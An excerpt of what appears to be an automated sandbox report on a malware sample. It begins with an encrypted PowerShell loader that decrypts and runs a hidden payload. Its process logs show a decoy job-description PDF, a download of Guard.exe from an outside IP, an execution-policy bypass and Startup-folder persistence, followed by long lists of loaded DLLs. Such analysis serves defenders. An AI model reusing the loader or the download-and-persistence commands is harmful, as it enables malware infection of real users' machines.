'4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA70781E018E4DFB87CD05CEA8267DFEEC57474934D2E72FED942DC3B6E04D01F82804DECEF13DC95D9F76B95330BE652C3F5ECAB21E4D67450285F38D92BE31580C4E736177BF71474B83457639E9C2881131387C24401F97A86AE28EF1CFA3564CF1974B4ACC0F6695257FA23A2DDB11745C35D97B3064A0BAAF7A97272149C51840237CA06689453D6A5F8B46678E8011672959BFCB6DFD142A3ED66ADE572299E442A73D667DF9462BE96290706311211F2CE31646E4040EBF2F7AA2CB9DC7FCF0E3D67762E76457BAA609917136F01E489A97E9A7FB17C6965F15CFF50FF5637D62983F02A4262193FDA98C9A16EF2DA91F27193760578614D5E2613AC07AC1CCB5EF6F587BC781DF31F55B65181C86F562B2BD2A35461CAC5C101B21214506A52C17834FA44C6E0DEF1A1E9CB0715D93135D5BBF09E6FCCE528E1DA3761E0A1F265D5F0FB3FA2E21AC770F6F27CC1EC289352FC35A8C7DE18C442B194FDCFA10DB3DA7CDE32FD8403F449D8FC75BE84A071B70C8F5544157502E7B2071633BA5B9D659AB9028E480647AA8FE41712E40CDB4E6A26F3268BFCF26F9072B471B8C282387E4DBA4EBC93609965409C1A65C0C57DF0CE49EC876F91C5A96386BD60817F78D48A9D0148412611DA9639CF9834309BE5DACA432F3ACBDFA219E5B95B26C009CFC00CF54BE154220779009DDC479CBDFEB32FC40336CC86D179FF44CD5B390F941A50D06D52FAFC8F32DB72C3505502F57C9EAA8B71200A218380D35F04EDC8E95B91FA86829B4510AD91625BBE54DB1D3237B08832E5C8289753B1D32B208E9E6AA7E281982490307DB6935EA25109C185FC165625387C55175929D993B0A9A3B1022C240A5ACB0431E98C81D66C70D1DC29B7F9909E6515937CDB3D283F4B12B4C4D6E3F28F0B7F5FD07BA8EDC2B28158165A3FB91BF281D1C320E33D3C8D25C1ABC674AB74EA1BE51CF9A35EC73C41528008D4E8200333FAB1BFEDC6C324ED62E667038A747AA71059CF2CF52ED74304019637D834465D06062AAA679880D486BEED29E51CBB32E274D08CF418E16AC10216BB620E504A77D4771DF75717D83FEB1DA9EA2224B0AB6051F81C35169397369EDE2B5FCAD429BA6B5E93A03CD2128D91B05F33C31AA36E6F16AFEB422B869409A043987E74028E99F3553B4AC0943C7347DBDB9818608468516E754F4271494E6951625143456D';function yVE ($UZpVPhOy){return -split ($UZpVPhOy -replace '..', '0x$& ')};$foocSK = yVE($ddg.SubString(0, 2016));$vAM = [System.Security.Cryptography.Aes]::Create();$vAM.Key = yVE($ddg.SubString(2016));$vAM.IV = New-Object byte[] 16;$MnEAtBA = $vAM.CreateDecryptor();$QXykJ = [System.String]::new($MnEAtBA.TransformFinalBlock($foocSK, 0,$foocSK.Length)); sal fd $QXykJ.Substring(3,3); fd $QXykJ.Substring(6)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Job_Description.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\dqcwif.exe "C:\Users\user\AppData\Roaming\dqcwif.exe"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1596,i,13836792171696391892,6566973636645197800,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"

Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
